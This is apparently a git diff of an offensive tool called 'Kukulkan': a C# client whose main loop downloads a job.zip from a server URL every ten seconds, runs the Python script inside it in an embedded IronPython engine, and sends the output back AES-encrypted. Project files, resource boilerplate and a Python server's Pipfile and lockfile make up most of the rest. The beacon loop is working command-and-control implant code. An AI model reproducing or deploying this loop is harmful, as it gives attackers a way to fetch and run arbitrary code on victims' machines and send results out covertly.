foreach (byte theByte in AES_KEY)
{
hash.Append(theByte.ToString("x2"));
}
Console.WriteLine("URL: {0}", URL);
Console.WriteLine("AES_KEY: {0} (SHA256: {1})", aesKey, hash);
Console.WriteLine("AES_IV: {0}", aesIV);
Console.WriteLine();
StartEngine();
}
public static void StartEngine()
{
while (true)
{
using (var engineStream = new MemoryStream())
{
var engine = CreateEngine();
engine.Runtime.IO.SetOutput(engineStream, Encoding.UTF8);
engine.Runtime.IO.SetErrorOutput(engineStream, Encoding.UTF8);
var scope = engine.CreateScope();
scope.SetVariable("URL", URL.ToString());
//scope.SetVariable("CHANNEL", "http");
//scope.SetVariable("IronPythonDLL", Assembly.Load(GetResourceInZip(stage, "IronPython.dll")));
#if DEBUG
scope.SetVariable("DEBUG", true);
#elif RELEASE
scope.SetVariable("DEBUG", false);
#endif
var jobZip = StageZipFile(URL, "job.zip");
var job = GetResourceInZip(jobZip, "main.py");
//result = PythonOps.InitializeModuleEx(Assembly.Load(GetResourceInZip(stage, "Main.dll")), "__main__", null, false, null);
engine.Execute(Encoding.UTF8.GetString(job, 0, job.Length), scope);
if (engineStream.Length > 0)
{
byte[] encryptedResults = EncryptData(engineStream.ToArray());
SendResults(URL, encryptedResults);
}
}
Thread.Sleep(10000);
}
}
}
}
+36
View File
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("Kukulkan")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Kukulkan")]
[assembly: AssemblyCopyright("Copyright © 2019")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("d94175e7-6b5b-4dd8-bd34-5319fc946b88")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
+63
View File
@@ -0,0 +1,63 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace Kukulkan.Properties {
using System;
/// <summary>
/// A strongly-typed resource class, for looking up localized strings, etc.
/// </summary>
// This class was auto-generated by the StronglyTypedResourceBuilder
// class via a tool like ResGen or Visual Studio.
// To add or remove a member, edit your .ResX file then rerun ResGen
// with the /str option, or rebuild your VS project.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
/// <summary>
/// Returns the cached ResourceManager instance used by this class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Kukulkan.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// Overrides the current thread's CurrentUICulture property for all
/// resource lookups using this strongly typed resource class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
}
}
+120
View File
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+31
View File
@@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.28010.2003
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Kukulkan.Dll", "Kukulkan.Dll\Kukulkan.Dll.csproj", "{D94175E7-6B5B-4DD8-BD34-5319FC946B88}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Kukulkan.Cli", "Kukulkan.Cli\Kukulkan.Cli.csproj", "{CF38FD41-395F-422F-BDF8-8621A1469B9A}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{D94175E7-6B5B-4DD8-BD34-5319FC946B88}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{D94175E7-6B5B-4DD8-BD34-5319FC946B88}.Debug|Any CPU.Build.0 = Debug|Any CPU
{D94175E7-6B5B-4DD8-BD34-5319FC946B88}.Release|Any CPU.ActiveCfg = Release|Any CPU
{D94175E7-6B5B-4DD8-BD34-5319FC946B88}.Release|Any CPU.Build.0 = Release|Any CPU
{CF38FD41-395F-422F-BDF8-8621A1469B9A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{CF38FD41-395F-422F-BDF8-8621A1469B9A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{CF38FD41-395F-422F-BDF8-8621A1469B9A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{CF38FD41-395F-422F-BDF8-8621A1469B9A}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {F5A67258-9017-40CD-B3E6-6799B36EF151}
EndGlobalSection
EndGlobal
+109
View File
@@ -0,0 +1,109 @@
.DS_Store
data/cert.pem
data/key.pem
data/job.*
data/stage.*
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
.pytest_cache/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# pyenv
.python-version
# celery beat schedule file
celerybeat-schedule
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
+15
View File
@@ -0,0 +1,15 @@
[[source]]
url = "https://pypi.python.org/simple"
verify_ssl = true
name = "pypi"
[dev-packages]
ipython = "*"
[packages]
cryptography = "*"
Quart = "*"
docopt = "*"
[requires]
python_version = "3.7"
+399
View File
@@ -0,0 +1,399 @@
{
"_meta": {
"hash": {
"sha256": "4f3efcea764bca609e039e864e0f17c7d6ad179960f4409a6edc426184944c5d"
},
"pipfile-spec": 6,
"requires": {
"python_version": "3.7"
},
"sources": [
{
"name": "pypi",
"url": "https://pypi.python.org/simple",
"verify_ssl": true
}
]
},
"default": {
"aiofiles": {
"hashes": [
"sha256:021ea0ba314a86027c166ecc4b4c07f2d40fc0f4b3a950d1868a0f2571c2bbee",
"sha256:1e644c2573f953664368de28d2aa4c89dfd64550429d0c27c4680ccd3aa4985d"
],
"version": "==0.4.0"
},
"asn1crypto": {
"hashes": [
"sha256:2f1adbb7546ed199e3c90ef23ec95c5cf3585bac7d11fb7eb562a3fe89c64e87",
"sha256:9d5c20441baf0cb60a4ac34cc447c6c189024b6b4c6cd7877034f4965c464e49"
],
"version": "==0.24.0"
},
"blinker": {
"hashes": [
"sha256:471aee25f3992bd325afa3772f1063dbdbbca947a041b8b89466dc00d606f8b6"
],
"version": "==1.4"
},
"cffi": {
"hashes": [
"sha256:151b7eefd035c56b2b2e1eb9963c90c6302dc15fbd8c1c0a83a163ff2c7d7743",
"sha256:1553d1e99f035ace1c0544050622b7bc963374a00c467edafac50ad7bd276aef",
"sha256:1b0493c091a1898f1136e3f4f991a784437fac3673780ff9de3bcf46c80b6b50",
"sha256:2ba8a45822b7aee805ab49abfe7eec16b90587f7f26df20c71dd89e45a97076f",
"sha256:3bb6bd7266598f318063e584378b8e27c67de998a43362e8fce664c54ee52d30",
"sha256:3c85641778460581c42924384f5e68076d724ceac0f267d66c757f7535069c93",
"sha256:3eb6434197633b7748cea30bf0ba9f66727cdce45117a712b29a443943733257",
"sha256:495c5c2d43bf6cebe0178eb3e88f9c4aa48d8934aa6e3cddb865c058da76756b",
"sha256:4c91af6e967c2015729d3e69c2e51d92f9898c330d6a851bf8f121236f3defd3",
"sha256:57b2533356cb2d8fac1555815929f7f5f14d68ac77b085d2326b571310f34f6e",
"sha256:770f3782b31f50b68627e22f91cb182c48c47c02eb405fd689472aa7b7aa16dc",
"sha256:79f9b6f7c46ae1f8ded75f68cf8ad50e5729ed4d590c74840471fc2823457d04",
"sha256:7a33145e04d44ce95bcd71e522b478d282ad0eafaf34fe1ec5bbd73e662f22b6",
"sha256:857959354ae3a6fa3da6651b966d13b0a8bed6bbc87a0de7b38a549db1d2a359",
"sha256:87f37fe5130574ff76c17cab61e7d2538a16f843bb7bca8ebbc4b12de3078596",
"sha256:95d5251e4b5ca00061f9d9f3d6fe537247e145a8524ae9fd30a2f8fbce993b5b",
"sha256:9d1d3e63a4afdc29bd76ce6aa9d58c771cd1599fbba8cf5057e7860b203710dd",
"sha256:a36c5c154f9d42ec176e6e620cb0dd275744aa1d804786a71ac37dc3661a5e95",
"sha256:a6a5cb8809091ec9ac03edde9304b3ad82ad4466333432b16d78ef40e0cce0d5",
"sha256:ae5e35a2c189d397b91034642cb0eab0e346f776ec2eb44a49a459e6615d6e2e",
"sha256:b0f7d4a3df8f06cf49f9f121bead236e328074de6449866515cea4907bbc63d6",
"sha256:b75110fb114fa366b29a027d0c9be3709579602ae111ff61674d28c93606acca",
"sha256:ba5e697569f84b13640c9e193170e89c13c6244c24400fc57e88724ef610cd31",
"sha256:be2a9b390f77fd7676d80bc3cdc4f8edb940d8c198ed2d8c0be1319018c778e1",
"sha256:ca1bd81f40adc59011f58159e4aa6445fc585a32bb8ac9badf7a2c1aa23822f2",
"sha256:d5d8555d9bfc3f02385c1c37e9f998e2011f0db4f90e250e5bc0c0a85a813085",
"sha256:e55e22ac0a30023426564b1059b035973ec82186ddddbac867078435801c7801",
"sha256:e90f17980e6ab0f3c2f3730e56d1fe9bcba1891eeea58966e89d352492cc74f4",
"sha256:ecbb7b01409e9b782df5ded849c178a0aa7c906cf8c5a67368047daab282b184",
"sha256:ed01918d545a38998bfa5902c7c00e0fee90e957ce036a4000a88e3fe2264917",
"sha256:edabd457cd23a02965166026fd9bfd196f4324fe6032e866d0f3bd0301cd486f",
"sha256:fdf1c1dc5bafc32bc5d08b054f94d659422b05aba244d6be4ddc1c72d9aa70fb"
],
"version": "==1.11.5"
},
"click": {
"hashes": [
"sha256:2335065e6395b9e67ca716de5f7526736bfa6ceead690adf616d925bdc622b13",
"sha256:5b94b49521f6456670fdb30cd82a4eca9412788a93fa6dd6df72c94d5a8ff2d7"
],
"version": "==7.0"
},
"cryptography": {
"hashes": [
"sha256:05a6052c6a9f17ff78ba78f8e6eb1d777d25db3b763343a1ae89a7a8670386dd",
"sha256:0eb83a24c650a36f68e31a6d0a70f7ad9c358fa2506dc7b683398b92e354a038",
"sha256:0ff4a3d6ea86aa0c9e06e92a9f986de7ee8231f36c4da1b31c61a7e692ef3378",
"sha256:1699f3e916981df32afdd014fb3164db28cdb61c757029f502cb0a8c29b2fdb3",
"sha256:1b1f136d74f411f587b07c076149c4436a169dc19532e587460d9ced24adcc13",
"sha256:21e63dd20f5e5455e8b34179ac43d95b3fb1ffa54d071fd2ed5d67da82cfe6dc",
"sha256:2454ada8209bbde97065453a6ca488884bbb263e623d35ba183821317a58b46f",
"sha256:3cdc5f7ca057b2214ce4569e01b0f368b3de9d8ee01887557755ccd1c15d9427",
"sha256:418e7a5ec02a7056d3a4f0c0e7ea81df374205f25f4720bb0e84189aa5fd2515",
"sha256:471a097076a7c4ab85561d7fa9a1239bd2ae1f9fd0047520f13d8b340bf3210b",
"sha256:5ecaf9e7db3ca582c6de6229525d35db8a4e59dc3e8a40a331674ed90e658cbf",
"sha256:63b064a074f8dc61be81449796e2c3f4e308b6eba04a241a5c9f2d05e882c681",
"sha256:6afe324dfe6074822ccd56d80420df750e19ac30a4e56c925746c735cf22ae8b",
"sha256:70596e90398574b77929cd87e1ac6e43edd0e29ba01e1365fed9c26bde295aa5",
"sha256:70c2b04e905d3f72e2ba12c58a590817128dfca08949173faa19a42c824efa0b",
"sha256:8908f1db90be48b060888e9c96a0dee9d842765ce9594ff6a23da61086116bb6",
"sha256:af12dfc9874ac27ebe57fc28c8df0e8afa11f2a1025566476b0d50cdb8884f70",
"sha256:b4fc04326b2d259ddd59ed8ea20405d2e695486ab4c5e1e49b025c484845206e",
"sha256:da5b5dda4aa0d5e2b758cc8dfc67f8d4212e88ea9caad5f61ba132f948bab859"
],
"index": "pypi",
"version": "==2.4.2"
},
"docopt": {
"hashes": [
"sha256:49b3a825280bd66b3aa83585ef59c4a8c82f2c8a522dbe754a8bc8d08c85c491"
],
"index": "pypi",
"version": "==0.6.2"
},
"h11": {
"hashes": [
"sha256:acca6a44cb52a32ab442b1779adf0875c443c689e9e028f8d831a3769f9c5208",
"sha256:f2b1ca39bfed357d1f19ac732913d5f9faa54a5062eca7d2ec3a916cfb7ae4c7"
],
"version": "==0.8.1"
},
"h2": {
"hashes": [
"sha256:4be613e35caad5680dc48f98f3bf4e7338c7c429e6375a5137be7fbe45219981",
"sha256:b2962f883fa392a23cbfcc4ad03c335bcc661be0cf9627657b589f0df2206e64"
],
"version": "==3.0.1"
},
"hpack": {
"hashes": [
"sha256:0edd79eda27a53ba5be2dfabf3b15780928a0dff6eb0c60a3d6767720e970c89",
"sha256:8eec9c1f4bfae3408a3f30500261f7e6a65912dc138526ea054f9ad98892e9d2"
],
"version": "==3.0.0"
},
"hypercorn": {
"hashes": [
"sha256:84c53ef8248a4067c6ec0b7c9a8a850eed2c85e660b1afdaac37f4f8cc8420f2",
"sha256:d3bd0ec5f6377f3eb1aea85314b74ef6720ab5e28be4afb8cced038efea9c6b9"
],
"version": "==0.4.6"
},
"hyperframe": {
"hashes": [
"sha256:87567c9eb1540de1e7f48805adf00e87856409342fdebd0cd20cf5d381c38b69",
"sha256:a25944539db36d6a2e47689e7915dcee562b3f8d10c6cdfa0d53c91ed692fb04"
],
"version": "==5.1.0"
},
"idna": {
"hashes": [
"sha256:c357b3f628cf53ae2c4c05627ecc484553142ca23264e593d327bcde5e9c3407",
"sha256:ea8b7f6188e6fa117537c3df7da9fc686d485087abf6ac197f9c46432f7e4a3c"
],
"version": "==2.8"
},
"itsdangerous": {
"hashes": [
"sha256:321b033d07f2a4136d3ec762eac9f16a10ccd60f53c0c91af90217ace7ba1f19",
"sha256:b12271b2047cb23eeb98c8b5622e2e5c5e9abd9784a153e9d8ef9cb4dd09d749"
],
"version": "==1.1.0"
},
"jinja2": {
"hashes": [
"sha256:74c935a1b8bb9a3947c50a54766a969d4846290e1e788ea44c1392163723c3bd",
"sha256:f84be1bb0040caca4cea721fcbbbbd61f9be9464ca236387158b0feea01914a4"
],
"version": "==2.10"
},
"markupsafe": {
"hashes": [
"sha256:048ef924c1623740e70204aa7143ec592504045ae4429b59c30054cb31e3c432",
"sha256:130f844e7f5bdd8e9f3f42e7102ef1d49b2e6fdf0d7526df3f87281a532d8c8b",
"sha256:19f637c2ac5ae9da8bfd98cef74d64b7e1bb8a63038a3505cd182c3fac5eb4d9",
"sha256:1b8a7a87ad1b92bd887568ce54b23565f3fd7018c4180136e1cf412b405a47af",
"sha256:1c25694ca680b6919de53a4bb3bdd0602beafc63ff001fea2f2fc16ec3a11834",
"sha256:1f19ef5d3908110e1e891deefb5586aae1b49a7440db952454b4e281b41620cd",
"sha256:1fa6058938190ebe8290e5cae6c351e14e7bb44505c4a7624555ce57fbbeba0d",
"sha256:31cbb1359e8c25f9f48e156e59e2eaad51cd5242c05ed18a8de6dbe85184e4b7",
"sha256:3e835d8841ae7863f64e40e19477f7eb398674da6a47f09871673742531e6f4b",
"sha256:4e97332c9ce444b0c2c38dd22ddc61c743eb208d916e4265a2a3b575bdccb1d3",
"sha256:525396ee324ee2da82919f2ee9c9e73b012f23e7640131dd1b53a90206a0f09c",
"sha256:52b07fbc32032c21ad4ab060fec137b76eb804c4b9a1c7c7dc562549306afad2",
"sha256:52ccb45e77a1085ec5461cde794e1aa037df79f473cbc69b974e73940655c8d7",
"sha256:5c3fbebd7de20ce93103cb3183b47671f2885307df4a17a0ad56a1dd51273d36",
"sha256:5e5851969aea17660e55f6a3be00037a25b96a9b44d2083651812c99d53b14d1",
"sha256:5edfa27b2d3eefa2210fb2f5d539fbed81722b49f083b2c6566455eb7422fd7e",
"sha256:7d263e5770efddf465a9e31b78362d84d015cc894ca2c131901a4445eaa61ee1",
"sha256:83381342bfc22b3c8c06f2dd93a505413888694302de25add756254beee8449c",
"sha256:857eebb2c1dc60e4219ec8e98dfa19553dae33608237e107db9c6078b1167856",
"sha256:98e439297f78fca3a6169fd330fbe88d78b3bb72f967ad9961bcac0d7fdd1550",
"sha256:bf54103892a83c64db58125b3f2a43df6d2cb2d28889f14c78519394feb41492",
"sha256:d9ac82be533394d341b41d78aca7ed0e0f4ba5a2231602e2f05aa87f25c51672",
"sha256:e982fe07ede9fada6ff6705af70514a52beb1b2c3d25d4e873e82114cf3c5401",
"sha256:edce2ea7f3dfc981c4ddc97add8a61381d9642dc3273737e756517cc03e84dd6",
"sha256:efdc45ef1afc238db84cb4963aa689c0408912a0239b0721cb172b4016eb31d6",
"sha256:f137c02498f8b935892d5c0172560d7ab54bc45039de8805075e19079c639a9c",
"sha256:f82e347a72f955b7017a39708a3667f106e6ad4d10b25f237396a7115d8ed5fd",
"sha256:fb7c206e01ad85ce57feeaaa0bf784b97fa3cad0d4a5737bc5295785f5c613a1"
],
"version": "==1.1.0"
},
"multidict": {
"hashes": [
"sha256:024b8129695a952ebd93373e45b5d341dbb87c17ce49637b34000093f243dd4f",
"sha256:041e9442b11409be5e4fc8b6a97e4bcead758ab1e11768d1e69160bdde18acc3",
"sha256:045b4dd0e5f6121e6f314d81759abd2c257db4634260abcfe0d3f7083c4908ef",
"sha256:047c0a04e382ef8bd74b0de01407e8d8632d7d1b4db6f2561106af812a68741b",
"sha256:068167c2d7bbeebd359665ac4fff756be5ffac9cda02375b5c5a7c4777038e73",
"sha256:148ff60e0fffa2f5fad2eb25aae7bef23d8f3b8bdaf947a65cdbe84a978092bc",
"sha256:1d1c77013a259971a72ddaa83b9f42c80a93ff12df6a4723be99d858fa30bee3",
"sha256:1d48bc124a6b7a55006d97917f695effa9725d05abe8ee78fd60d6588b8344cd",
"sha256:31dfa2fc323097f8ad7acd41aa38d7c614dd1960ac6681745b6da124093dc351",
"sha256:34f82db7f80c49f38b032c5abb605c458bac997a6c3142e0d6c130be6fb2b941",
"sha256:3d5dd8e5998fb4ace04789d1d008e2bb532de501218519d70bb672c4c5a2fc5d",
"sha256:4a6ae52bd3ee41ee0f3acf4c60ceb3f44e0e3bc52ab7da1c2b2aa6703363a3d1",
"sha256:4b02a3b2a2f01d0490dd39321c74273fed0568568ea0e7ea23e02bd1fb10a10b",
"sha256:4b843f8e1dd6a3195679d9838eb4670222e8b8d01bc36c9894d6c3538316fa0a",
"sha256:5de53a28f40ef3c4fd57aeab6b590c2c663de87a5af76136ced519923d3efbb3",
"sha256:61b2b33ede821b94fa99ce0b09c9ece049c7067a33b279f343adfe35108a4ea7",
"sha256:6a3a9b0f45fd75dc05d8e93dc21b18fc1670135ec9544d1ad4acbcf6b86781d0",
"sha256:76ad8e4c69dadbb31bad17c16baee61c0d1a4a73bed2590b741b2e1a46d3edd0",
"sha256:7ba19b777dc00194d1b473180d4ca89a054dd18de27d0ee2e42a103ec9b7d014",
"sha256:7c1b7eab7a49aa96f3db1f716f0113a8a2e93c7375dd3d5d21c4941f1405c9c5",
"sha256:7fc0eee3046041387cbace9314926aa48b681202f8897f8bff3809967a049036",
"sha256:8ccd1c5fff1aa1427100ce188557fc31f1e0a383ad8ec42c559aabd4ff08802d",
"sha256:8e08dd76de80539d613654915a2f5196dbccc67448df291e69a88712ea21e24a",
"sha256:c18498c50c59263841862ea0501da9f2b3659c00db54abfbf823a80787fde8ce",
"sha256:c49db89d602c24928e68c0d510f4fcf8989d77defd01c973d6cbe27e684833b1",
"sha256:ce20044d0317649ddbb4e54dab3c1bcc7483c78c27d3f58ab3d0c7e6bc60d26a",
"sha256:d1071414dd06ca2eafa90c85a079169bfeb0e5f57fd0b45d44c092546fcd6fd9",
"sha256:d3be11ac43ab1a3e979dac80843b42226d5d3cccd3986f2e03152720a4297cd7",
"sha256:db603a1c235d110c860d5f39988ebc8218ee028f07a7cbc056ba6424372ca31b"
],
"version": "==4.5.2"
},
"pycparser": {
"hashes": [
"sha256:a988718abfad80b6b157acce7bf130a30876d27603738ac39f140993246b25b3"
],
"version": "==2.19"
},
"pytoml": {
"hashes": [
"sha256:ca2d0cb127c938b8b76a9a0d0f855cf930c1d50cc3a0af6d3595b566519a1013"
],
"version": "==0.1.20"
},
"quart": {
"hashes": [
"sha256:a07d139a6ac05c27db965f8bd444a4adf47f2d14c475aa08991cd734135aa293",
"sha256:a918745611572a2ebaad0a5890c9cffdf7db0b8aa87ed18341139aca96f05234"
],
"index": "pypi",
"version": "==0.7.2"
},
"six": {
"hashes": [
"sha256:3350809f0555b11f552448330d0b52d5f24c91a322ea4a15ef22629740f3761c",
"sha256:d16a0141ec1a18405cd4ce8b4613101da75da0e9a7aec5bdd4fa804d0e0eba73"
],
"version": "==1.12.0"
},
"sortedcontainers": {
"hashes": [
"sha256:974e9a32f56b17c1bac2aebd9dcf197f3eb9cd30553c5852a3187ad162e1a03a",
"sha256:d9e96492dd51fae31e60837736b38fe42a187b5404c16606ff7ee7cd582d4c60"
],
"version": "==2.1.0"
},
"typing-extensions": {
"hashes": [
"sha256:07b2c978670896022a43c4b915df8958bec4a6b84add7f2c87b2b728bda3ba64",
"sha256:f3f0e67e1d42de47b5c67c32c9b26641642e9170fe7e292991793705cd5fef7c",
"sha256:fb2cd053238d33a8ec939190f30cfd736c00653a85a2919415cecf7dc3d9da71"
],
"version": "==3.7.2"
},
"wsproto": {
"hashes": [
"sha256:1fcb726d448f1b9bcbea884e26621af5ddd01d2d502941a024f4c727828b6009",
"sha256:6a51cf18d9de612892b9c1d38a8c1bdadec0cfe15de61cd5c0f09174bf0c7e82"
],
"version": "==0.12.0"
}
},
"develop": {
"appnope": {
"hashes": [
"sha256:5b26757dc6f79a3b7dc9fab95359328d5747fcb2409d331ea66d0272b90ab2a0",
"sha256:8b995ffe925347a2138d7ac0fe77155e4311a0ea6d6da4f5128fe4b3cbe5ed71"
],
"markers": "sys_platform == 'darwin'",
"version": "==0.1.0"
},
"backcall": {
"hashes": [
"sha256:38ecd85be2c1e78f77fd91700c76e14667dc21e2713b63876c0eb901196e01e4",
"sha256:bbbf4b1e5cd2bdb08f915895b51081c041bac22394fdfcfdfbe9f14b77c08bf2"
],
"version": "==0.1.0"
},
"decorator": {
"hashes": [
"sha256:2c51dff8ef3c447388fe5e4453d24a2bf128d3a4c32af3fabef1f01c6851ab82",
"sha256:c39efa13fbdeb4506c476c9b3babf6a718da943dab7811c206005a4a956c080c"
],
"version": "==4.3.0"
},
"ipython": {
"hashes": [
"sha256:6a9496209b76463f1dec126ab928919aaf1f55b38beb9219af3fe202f6bbdd12",
"sha256:f69932b1e806b38a7818d9a1e918e5821b685715040b48e59c657b3c7961b742"
],
"index": "pypi",
"version": "==7.2.0"
},
"ipython-genutils": {
"hashes": [
"sha256:72dd37233799e619666c9f639a9da83c34013a73e8bbc79a7a6348d93c61fab8",
"sha256:eb2e116e75ecef9d4d228fdc66af54269afa26ab4463042e33785b887c628ba8"
],
"version": "==0.2.0"
},
"jedi": {
"hashes": [
"sha256:571702b5bd167911fe9036e5039ba67f820d6502832285cde8c881ab2b2149fd",
"sha256:c8481b5e59d34a5c7c42e98f6625e633f6ef59353abea6437472c7ec2093f191"
],
"version": "==0.13.2"
},
"parso": {
"hashes": [
"sha256:35704a43a3c113cce4de228ddb39aab374b8004f4f2407d070b6a2ca784ce8a2",
